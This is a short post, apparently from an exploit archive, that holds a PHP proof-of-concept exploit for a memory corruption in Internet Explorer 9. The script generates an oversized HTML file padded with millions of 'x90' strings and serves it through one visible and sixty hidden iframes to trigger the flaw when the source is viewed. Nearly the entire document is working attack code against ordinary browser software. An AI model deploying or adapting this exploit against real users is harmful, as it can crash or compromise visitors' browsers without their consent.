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Internet Explorer 9 Memory Corruption

Posted on 02 November 2012

<?php

/**********************************************************
 * Internet Explorer 9 Memory Corruption PoC Exploit *
 **********************************************************
 * *
 * Successfully executed with IE9 version 9.0.8112.16421 *
 * *
 * Discovered by Jean Pascal Pereira <pereira@secbiz.de> *
 * *
 **********************************************************/

set_time_limit(0);

ini_set('memory_limit', '300M');

if(!file_exists("junk.htm"))
{
 $string = "<span id='";

 for($i = 0; $i < 24117256; $i++)
 {
 $string .= "x90";
 }
 $string .= "'></span>";

 file_put_contents("junk.htm", $string);
}

print "View the sourcecode of the iframe below (right click -> view source): <br />
";
print "<iframe style='width: 800px; height: 500px;' src='junk.htm'>
";

for($i = 0; $i < 60; $i++)
{
 print "<iframe style='display:none' src='junk.htm'>
";
}

/* http://0xffe4.org */

?>

 

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